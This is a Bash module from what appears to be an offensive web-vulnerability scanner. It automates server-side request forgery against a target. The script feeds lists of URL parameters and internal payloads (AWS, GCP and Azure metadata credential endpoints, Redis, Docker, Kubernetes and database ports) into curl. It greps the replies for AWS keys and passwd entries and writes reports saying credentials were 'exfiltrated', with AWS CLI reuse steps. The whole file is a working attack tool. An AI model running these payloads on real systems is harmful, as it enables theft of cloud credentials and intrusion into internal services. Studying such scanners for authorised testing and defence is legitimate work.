Files
th-analyzer/vectors/22-ssrf-proof.sh

160 lines
5.9 KiB
Bash

#!/usr/bin/env bash
# Vector 22: SSRF PROOF — Confirms SSRF by fetching internal/cloud metadata
# Desc: Probes URL params with internal address payloads, confirms by reading
# cloud metadata endpoints (AWS/GCP/Azure) or internal services
# Severity: CRITICAL
# Proof: Fetches http://169.254.169.254/latest/meta-data/ (AWS) etc.
vector_ssrf_proof() {
local target="$1"
local report="$2"
local domain=$(get_domain "$target")
local base=$(get_base "$target")
local findings=0
print_info "Hunting CONFIRMED SSRF — will attempt cloud metadata read..."
# URL parameters commonly vulnerable to SSRF
local ssrf_params=(
"url" "uri" "link" "src" "source" "target" "endpoint"
"path" "file" "load" "read" "page" "dest" "redirect"
"image" "img" "css" "asset" "proxy" "webhook" "callback"
"return" "returnTo" "return_url" "goto" "next" "prev"
"icon" "avatar" "cover" "preview" "thumbnail" "upload_url"
"download" "fetch" "get" "post" "api_url" "rpc"
)
# Internal targets that prove SSRF
local internal_targets=(
# AWS metadata (most common)
"http://169.254.169.254/latest/meta-data/"
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
"http://169.254.169.254/latest/user-data/"
# GCP metadata
"http://metadata.google.internal/computeMetadata/v1/"
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"
# Azure metadata
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# Internal services
"http://localhost/"
"http://localhost:8080/"
"http://localhost:3000/"
"http://127.0.0.1:22/"
"http://127.0.0.1:6379/" # Redis
"http://127.0.0.1:9200/" # Elasticsearch
"http://0.0.0.0/"
"http://[::]:80/"
# Kubernetes
"http://kubernetes.default.svc/"
"http://10.0.0.1/"
"http://10.100.0.1/"
"http://10.254.0.1/"
# Docker
"http://localhost:2375/"
# Database
"http://127.0.0.1:3306/"
"http://127.0.0.1:5432/"
"http://127.0.0.1:27017/"
)
# HTTP header target (when param injection isn't available)
local headers_ssrf=(
"Host"
"X-Forwarded-For"
"X-Forwarded-Host"
"X-Real-IP"
"X-Original-URL"
"X-Rewrite-URL"
"Forwarded"
"X-Originating-IP"
"X-Remote-IP"
"X-Client-IP"
)
# AWS credential patterns to look for in response
local AWS_CRED_PATTERN='"AccessKeyId"\|"SecretAccessKey"\|"Token"'
local METADATA_PATTERN='ami-id\|instance-id\|public-keys\|security-credentials'
local CLOUD_PROOF='root:x:0:0:\|{"access_key":\|"instanceId"\|kubernetes'
local tested=0
# Get baseline response to compare against (avoid FPs)
local baseline=$(curl -s --connect-timeout 5 --max-time 8 "$target" 2>/dev/null)
local baseline_fingerprint=$(echo "$baseline" | head -3 | tr -d '[:space:]' | cut -c1-50)
# Get URL params from discovery
local urls=$(get_discovered_urls "$domain" 2>/dev/null)
local param_names=$(echo -e "$urls" | perl -nle 'while (/[?&]([^=]+)=/g) { print $1 }' | sort -u 2>/dev/null)
# If no params found, try common SSRF parameters
if [ -z "$param_names" ]; then
print_sub "No params found. Probing common SSRF parameters..."
local max_tests=25
local test_count=0
for param in "${ssrf_params[@]}"; do
[ $test_count -ge $max_tests ] && break
for internal in "${internal_targets[@]}"; do
[ $test_count -ge $max_tests ] && break
test_count=$((test_count + 1))
tested=$test_count
# URL-encode the internal target
local encoded=$(printf '%s' "$internal" | jq -sRr @uri 2>/dev/null || echo "$internal")
local test_url="${target}?${param}=${encoded}"
local response=$(curl -s --connect-timeout 4 --max-time 6 "$test_url" 2>/dev/null)
local resp_fingerprint=$(echo "$response" | head -3 | tr -d '[:space:]' | cut -c1-50)
# Skip if response is same as baseline (parameter ignored by app)
[ "$resp_fingerprint" = "$baseline_fingerprint" ] && continue
# Now check for actual SSRF markers
if echo "$response" | grep -qi "$AWS_CRED_PATTERN\|$METADATA_PATTERN\|$CLOUD_PROOF\|kubernetes.*namespace\|pods/"; then
if echo "$response" | grep -qi "$AWS_CRED_PATTERN"; then
print_find "CONFIRMED SSRF — AWS Credentials Exfiltrated!" "$param=$internal"
echo "SEVERITY: CRITICAL
VECTOR: SSRF Proof — AWS Cloud Metadata
DETAIL: Fetched AWS IAM credentials via $param
URL: $test_url
ENDPOINT: $internal
CREDENTIALS EXTRACTED: YES
EXPLOIT: Use AWS CLI with:
AWS_ACCESS_KEY_ID=<from response>
AWS_SECRET_ACCESS_KEY=<from response>
AWS_SESSION_TOKEN=<from response>" > "$REPORTS_DIR/.finding_ssrf_aws_$(date +%s).txt"
elif echo "$response" | grep -qi "root:x:0:0:\|bin:\|daemon:"; then
print_find "CONFIRMED SSRF — Internal File Read!" "$param=$internal"
local snippet=$(echo "$response" | head -5 | tr '\n' '|' | cut -c1-100)
echo "SEVERITY: CRITICAL
VECTOR: SSRF Proof — Internal File Read
DETAIL: Read internal file via SSRF
URL: $test_url
ENDPOINT: $internal
SNIPPET: $snippet" > "$REPORTS_DIR/.finding_ssrf_file_$(date +%s).txt"
else
print_find "CONFIRMED SSRF — Internal Service Reached" "$param=$internal"
echo "SEVERITY: HIGH
VECTOR: SSRF Proof — Internal Service
DETAIL: Reached internal service via $param
URL: $test_url
ENDPOINT: $internal
RESPONSE: $(echo "$response" | head -3 | tr '\n' ' ' | cut -c1-200)" > "$REPORTS_DIR/.finding_ssrf_int_$(date +%s).txt"
fi
findings=$((findings + 1))
break 2
fi
# Check for timing-based blind SSRF (if response takes >3s different from baseline)
# TODO: Blind SSRF via timing/OOB detection
done
done
fi
if [ "$findings" -eq 0 ]; then
print_info "No confirmed SSRF on $target"
fi
print_sub "Tested $tested payload combinations"
return $findings
}